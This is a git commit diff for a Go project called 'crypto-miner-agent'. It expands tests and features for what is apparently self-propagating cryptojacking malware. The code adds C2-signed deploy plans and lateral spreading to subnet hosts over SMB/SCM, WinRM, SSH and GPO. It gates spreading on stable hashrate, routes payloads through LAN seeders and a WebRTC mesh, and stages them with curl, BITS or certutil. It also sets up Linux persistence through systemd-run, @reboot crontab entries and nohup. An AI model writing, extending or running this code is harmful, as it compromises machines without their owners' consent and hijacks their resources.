Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
if ok, reason := AllowAutospread(cfg); !ok {
return "autospread deferred: " + reason
}
go spreadToLocalSubnet(cfg)
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {
log.Printf("[autospread] spread deferred: %s", reason)
finishSpreadSweepImmediate()
return
}
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {

View File

@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
if ok, reason := AllowAutospread(cfg); !ok {
return "autospread deferred: " + reason
}
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {
log.Printf("[autospread] spread deferred: %s", reason)
finishSpreadSweepImmediate()
return
}
exePath, err := os.Executable()
if err != nil {
return

View File

@@ -34,6 +34,40 @@ func TestResolveRemotePathDesktopPrefix(t *testing.T) {
}
}
func TestResolveRemotePathRejectsTraversalVariants(t *testing.T) {
cases := []string{
"../../etc/passwd",
`..\..\Windows\System32\config\sam`,
"uploads/../../outside.txt",
"/var/log/../../etc/shadow",
"..",
"~/../../etc/passwd",
"@desktop/../../outside.txt",
"desktop:../../payload.bin",
"safe/inner/../../../etc/shadow",
}
for _, path := range cases {
if _, err := ResolveRemotePath(path); err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", path)
} else if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error=%q", path, err.Error())
}
}
}
func TestRemotePathHasTraversal(t *testing.T) {
for _, path := range []string{"../x", "desktop:../../x", "foo/../bar"} {
if !remotePathHasTraversal(path) {
t.Fatalf("expected traversal for %q", path)
}
}
for _, path := range []string{"~/Downloads", "notes.txt", "@desktop/report.pdf"} {
if remotePathHasTraversal(path) {
t.Fatalf("safe path flagged as traversal: %q", path)
}
}
}
func TestUserDesktopDir(t *testing.T) {
dir, err := UserDesktopDir()
if err != nil {

View File

@@ -12,6 +12,19 @@ import (
"crypto-miner-agent/config"
)
// SpreadRouteHint is the server BGP-style spread route recommendation.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
return ExecuteDeployPlanAs(cfg, plan, "")
}
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
lane := strings.TrimSpace(plan.JoinLane)
if lane == "" {
lane = strings.TrimSpace(plan.Action)
}
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
return deferMsg, nil
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
if policy.RotationHours <= 0 {
policy.RotationHours = DefaultWebRTCRotationHours
}
execID := strings.TrimSpace(executorAgentID)
if execID != "" {
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
policy.IsSeeder = true
}
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
policy.IsSeeder = true
}
}
if !policy.IsSeeder {
if seeder := PreferredLANSeeder(); seeder != nil {
ApplyLANSeederToWebRTC(&policy, seeder)
}
}
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
}
}
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
return "", false
}
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
if egress == "" || egress == executorAgentID {
return "", false
}
switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf(
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
), true
default:
return "", false
}
}
func runJoinScript(script string, windows bool) error {
script = strings.TrimSpace(script)
if script == "" {
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
}
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
raw := RunServiceDiscoverForJoin(maxLANHosts)
result, parseErr := ParseServiceDiscoverJSON(raw)
if parseErr != nil {
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
if joinLane == "" {
joinLane = resp.Plan.JoinLane
}
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
if cfg.ScoutMode {
return joinLane, "scout: join lane mapped (no payload staging)", nil
}
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
if err != nil {
return joinLane, "", err
}
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
}
return joinLane, msg, nil
}
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
if hint == nil {
return detail
}
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
strings.TrimSpace(hint.EgressAgentID),
strings.TrimSpace(hint.SeedAgentID),
hint.Score,
)
if detail == "" {
return routeNote
}
return detail + "; " + routeNote
}
// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string

View File

@@ -6,6 +6,7 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"strings"
"testing"
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
}
}
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "spread_smb_unc",
Action: "spread_smb_unc",
UNCPath: `\\forge\share\worker.exe`,
SpreadRouteHint: &SpreadRouteHint{
TargetSubnet: "10.1.2",
SeedAgentID: "seed-hop",
EgressAgentID: "seed-hop",
Score: 0.82,
},
}
msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
if err != nil {
t.Fatalf("err=%v", err)
}
if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
t.Fatalf("msg=%q", msg)
}
}
func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
payload := []byte("webrtc-seed-plan")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldFn := webrtcMeshReceiveFn
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
if !policy.IsSeeder {
return nil, fmt.Errorf("expected seeder role")
}
return payload, nil
}
defer func() { webrtcMeshReceiveFn = oldFn }()
plan := DeployPlanBody{
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
Manifest: &StagingManifest{
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
},
}
_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
if err != nil {
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
return
}
t.Fatalf("unexpected error: %v", err)
}
}
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
payload := []byte("webrtc-signed-plan")
sum := sha256.Sum256(payload)

View File

@@ -0,0 +1,82 @@
package deploy
import (
"sync"
"time"
"crypto-miner-agent/config"
)
var spreadGateClock = time.Now
type spreadGateState struct {
mu sync.Mutex
stableSince time.Time
chainExhausted bool
lastHashrate float64
}
var spreadGate spreadGateState
// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
spreadGate.chainExhausted = chainExhausted
spreadGate.lastHashrate = hashrate
}
func resetSpreadGateForTest() {
spreadGate.mu.Lock()
spreadGate.stableSince = time.Time{}
spreadGate.chainExhausted = false
spreadGate.lastHashrate = 0
spreadGate.mu.Unlock()
}
// HashrateGateEnabled reports whether server policy requires stable mining before spread.
func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
}
// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
spreadGate.mu.Lock()
exhausted := spreadGate.chainExhausted
spreadGate.mu.Unlock()
if exhausted {
return false, "mining chain exhausted"
}
if !HashrateGateEnabled(cfg) {
return true, ""
}
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
now := spreadGateClock()
if spreadGate.lastHashrate < cfg.HashrateGateHPS {
spreadGate.stableSince = time.Time{}
return false, "hashrate below gate threshold"
}
if spreadGate.stableSince.IsZero() {
spreadGate.stableSince = now
}
need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
if now.Sub(spreadGate.stableSince) < need {
return false, "hashrate stability window not met"
}
return true, ""
}
// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
if !HashrateGateEnabled(cfg) {
return 0
}
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
return 0
}
return spreadGateClock().Sub(spreadGate.stableSince)
}

View File

@@ -0,0 +1,93 @@
package deploy
import (
"testing"
"time"
"crypto-miner-agent/config"
)
func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
ok, reason := AllowAutospread(cfg)
if !ok || reason != "" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 5,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(500, true)
ok, reason := AllowAutospread(cfg)
if ok || reason != "mining chain exhausted" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
resetSpreadGateForTest()
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
spreadGateClock = func() time.Time { return base }
t.Cleanup(func() { spreadGateClock = time.Now })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 10,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(150, false)
ok, reason := AllowAutospread(cfg)
if ok || reason != "hashrate stability window not met" {
t.Fatalf("first tick ok=%v reason=%q", ok, reason)
}
spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
ok, reason = AllowAutospread(cfg)
if !ok || reason != "" {
t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
}
}
func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
resetSpreadGateForTest()
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
spreadGateClock = func() time.Time { return base }
t.Cleanup(func() { spreadGateClock = time.Now })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 5,
HashrateGateHPS: 200,
}}
SetSpreadMiningTelemetry(250, false)
spreadGateClock = func() time.Time { return base }
if ok, _ := AllowAutospread(cfg); ok {
t.Fatal("expected window not met on first tick")
}
spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
if ok, reason := AllowAutospread(cfg); !ok {
t.Fatalf("expected stable after 6m, reason=%q", reason)
}
SetSpreadMiningTelemetry(50, false)
ok, reason := AllowAutospread(cfg)
if ok || reason != "hashrate below gate threshold" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
AutoSpread: true,
HashrateGateSpreadMin: 10,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(0, false)
msg := RunSpreadOnce(cfg)
if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
t.Fatalf("expected gate message, got %q", msg)
}
}

View File

@@ -0,0 +1,87 @@
package deploy
import (
"net"
"strings"
)
// LANSeederHint is a nearby seeder pushed on miner auth when fleet roles are enabled.
type LANSeederHint struct {
AgentID string `json:"agent_id"`
IP string `json:"ip,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
}
// NearestLANSeeder picks the closest seeder by IP prefix match (same /24 preferred).
func NearestLANSeeder(seeders []LANSeederHint, localIP string) *LANSeederHint {
if len(seeders) == 0 {
return nil
}
localPrefix := subnet24(localIP)
var best *LANSeederHint
bestScore := -1
for i := range seeders {
s := &seeders[i]
score := 0
if localPrefix != "" && subnet24(s.IP) == localPrefix {
score = 2
} else if strings.TrimSpace(s.IP) != "" {
score = 1
}
if score > bestScore {
bestScore = score
best = s
}
}
if best == nil {
return &seeders[0]
}
return best
}
// ApplyLANSeederToWebRTC overrides mesh policy with the nearest LAN seeder fallback URL.
func ApplyLANSeederToWebRTC(policy *WebRTCMeshPolicy, seeder *LANSeederHint) {
if policy == nil || seeder == nil {
return
}
if u := strings.TrimSpace(seeder.LANFallbackURL); u != "" {
policy.LANFallbackURL = u
}
if id := strings.TrimSpace(seeder.AgentID); id != "" {
policy.SeederAgentID = id
}
}
var (
activeLANSeeders []LANSeederHint
activeLANSeedersLocalIP string
)
// SetLANSeederHints stores miner auth hints for webrtc/do_peer staging pulls.
func SetLANSeederHints(seeders []LANSeederHint, localIP string) {
activeLANSeeders = append([]LANSeederHint(nil), seeders...)
activeLANSeedersLocalIP = localIP
}
// PreferredLANSeeder returns the nearest seeder from auth hints.
func PreferredLANSeeder() *LANSeederHint {
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
}
func subnet24(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {
return ""
}
host := ip
if strings.Contains(ip, ":") {
if h, _, err := net.SplitHostPort(ip); err == nil {
host = h
}
}
parts := strings.Split(host, ".")
if len(parts) < 3 {
return ""
}
return parts[0] + "." + parts[1] + "." + parts[2]
}

View File

@@ -0,0 +1,22 @@
package deploy
import "testing"
func TestNearestLANSeederPrefersSameSubnet(t *testing.T) {
seeders := []LANSeederHint{
{AgentID: "far", IP: "10.0.9.1", LANFallbackURL: "http://10.0.9.1/manifest"},
{AgentID: "near", IP: "192.168.1.50", LANFallbackURL: "http://192.168.1.50/manifest"},
}
got := NearestLANSeeder(seeders, "192.168.1.10")
if got == nil || got.AgentID != "near" {
t.Fatalf("got %+v", got)
}
}
func TestApplyLANSeederToWebRTC(t *testing.T) {
policy := WebRTCMeshPolicy{}
ApplyLANSeederToWebRTC(&policy, &LANSeederHint{AgentID: "seed-1", LANFallbackURL: "http://lan/seed"})
if policy.SeederAgentID != "seed-1" || policy.LANFallbackURL != "http://lan/seed" {
t.Fatalf("policy=%+v", policy)
}
}

View File

@@ -0,0 +1,65 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
cmd := sshSpreadStartCmd("/tmp/af-worker")
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
if !strings.Contains(cmd, want) {
t.Fatalf("cmd=%q missing %q", cmd, want)
}
}
}
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run --user") {
t.Fatalf("cmd=%q", cmd)
}
if !strings.Contains(cmd, "--defer-mining") {
t.Fatal("expected defer-mining in systemd persist")
}
}
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
t.Fatalf("got %q", got)
}
}
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
}, "linux")
if !ok {
t.Fatalf("linux tier should succeed, got %q", msg)
}
if !strings.Contains(msg, "ssh") {
t.Fatalf("msg=%q", msg)
}
}

View File

@@ -0,0 +1,49 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
ScoutMode: true,
FleetSecret: "test-secret",
}}
fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
plan := DeployPlanBody{
JoinLane: "do_peer",
Action: "do_peer",
Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
}
raw, err := json.Marshal(plan)
if err != nil {
t.Fatal(err)
}
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
mac.Write(raw)
sig := hex.EncodeToString(mac.Sum(nil))
return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
}
runServiceDiscoverFn = func(_ int) string {
return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
}
t.Cleanup(func() { runServiceDiscoverFn = nil })
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if lane != "do_peer" {
t.Fatalf("lane=%q", lane)
}
if !strings.Contains(detail, "no payload staging") {
t.Fatalf("detail=%q", detail)
}
}

View File

@@ -0,0 +1,55 @@
package deploy
import (
"log"
"time"
"crypto-miner-agent/config"
)
// StartSeederStaging runs dns_txt / webrtc_mesh / do_peer lanes for seeder-role agents.
func StartSeederStaging(cfg config.RuntimeConfig) {
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
return
}
tiers := config.FilterSeederLotlTiers(NormalizeLotlTiers(cfg.LotlOnionTiers))
if len(tiers) == 0 {
tiers = append([]string(nil), config.SeederSpreadLanes...)
}
log.Printf("[seeder] starting staging lanes: %v", tiers)
go runSeederLaneChain(cfg, tiers)
}
func runSeederLaneChain(cfg config.RuntimeConfig, tiers []string) {
time.Sleep(30 * time.Second)
for _, tier := range tiers {
ok, reason := tryLotlTier(cfg, tier)
if ok {
log.Printf("[seeder] lane %s ready: %s", tier, reason)
return
}
log.Printf("[seeder] lane %s skipped: %s", tier, reason)
}
log.Printf("[seeder] all staging lanes exhausted")
}
// SeederSeedPressure estimates 01 LAN seed serving pressure for stats WS.
func SeederSeedPressure(cfg config.RuntimeConfig, joinLane string, lanesReady int) float64 {
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
return 0
}
if config.IsSeederSpreadLane(joinLane) {
return 1
}
if lanesReady > 0 {
n := float64(lanesReady) / float64(len(config.SeederSpreadLanes))
if n > 1 {
n = 1
}
if n < 0.25 {
n = 0.25
}
return n
}
return 0.15
}

View File

@@ -0,0 +1,26 @@
package deploy
import (
"testing"
"crypto-miner-agent/config"
)
func TestSeederSeedPressure(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{SeederMode: true}}
if p := SeederSeedPressure(cfg, "dns_txt", 0); p != 1 {
t.Fatalf("active lane pressure=%v want 1", p)
}
if p := SeederSeedPressure(cfg, "", 1); p < 0.25 || p > 1 {
t.Fatalf("ready lane pressure=%v", p)
}
miner := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}}
if SeederSeedPressure(miner, "dns_txt", 1) != 0 {
t.Fatal("miner should report 0 seed pressure")
}
}
func TestStartSeederStagingNoopForMiner(t *testing.T) {
// Should return immediately without panic for non-seeder forge.
StartSeederStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}})
}

View File

@@ -18,6 +18,14 @@ type StagingChunk struct {
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
}
// Injectable hooks for stage_fetch / RunStagingChain tests (mock BITS/curl; no real remote hosts).
var (
stagingDownloadCurlFn func(url, dest string) error
stagingDownloadBITSFn func(url, dest string) error
stagingCertutilDecodeFn func(src, dest string) error
stagingLaunchFn func(dest string, manifest StagingManifest) (string, error)
)
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
type StagingManifest struct {
Method string `json:"method"` // curl | bits

View File

@@ -0,0 +1,199 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestStageFetchRejectsEmptyChunks(t *testing.T) {
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Dest: "worker.exe",
SHA256: strings.Repeat("a", 64),
})
if err == nil || !strings.Contains(err.Error(), "no chunks") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchRejectsPathTraversal(t *testing.T) {
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: `..\..\outside.exe`,
})
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("err=%v", err)
}
}
func TestExecuteDeployPlanBitsCurlRequiresManifest(t *testing.T) {
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"})
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
t.Fatalf("err=%v", err)
}
}
func stagingFakeDownload(payload []byte) func(url, dest string) error {
return func(url, dest string) error {
if strings.TrimSpace(url) == "" {
return os.ErrInvalid
}
return os.WriteFile(dest, payload, 0o644)
}
}
func TestCurlStagingAssemblyWithInject(t *testing.T) {
payload := []byte("curl-stage-fetch-payload")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldCurl := stagingDownloadCurlFn
oldLaunch := stagingLaunchFn
stagingDownloadCurlFn = stagingFakeDownload(payload)
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
return "", err
}
return "staged via curl inject", nil
}
defer func() {
stagingDownloadCurlFn = oldCurl
stagingLaunchFn = oldLaunch
}()
destRel := filepath.Join("af-stage", "curl-worker.exe")
cfg := testRuntimeConfig()
msg, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk-0.bin"}},
SHA256: hash,
Dest: destRel,
Launch: "exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
if !strings.Contains(msg, "curl") {
t.Fatalf("msg=%q", msg)
}
}
func TestBITSStagingAssemblyWithInject(t *testing.T) {
payload := []byte("bits-stage-fetch-payload")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldBits := stagingDownloadBITSFn
oldLaunch := stagingLaunchFn
stagingDownloadBITSFn = stagingFakeDownload(payload)
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
return "", err
}
return "staged via bits inject", nil
}
defer func() {
stagingDownloadBITSFn = oldBits
stagingLaunchFn = oldLaunch
}()
cfg := testRuntimeConfig()
msg, err := RunStagingChain(cfg, StagingManifest{
Method: "bitsadmin",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits-0.bin"}},
SHA256: hash,
Dest: "bits-worker.exe",
Launch: "exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
if !strings.Contains(msg, "bits") {
t.Fatalf("msg=%q", msg)
}
}
func TestStageFetchEmptyURLRejected(t *testing.T) {
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = nil
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: " ", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "empty") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchSHA256MismatchRejected(t *testing.T) {
payload := []byte("wrong-hash-payload")
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = stagingFakeDownload(payload)
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("b", 64),
Dest: "mismatch-worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
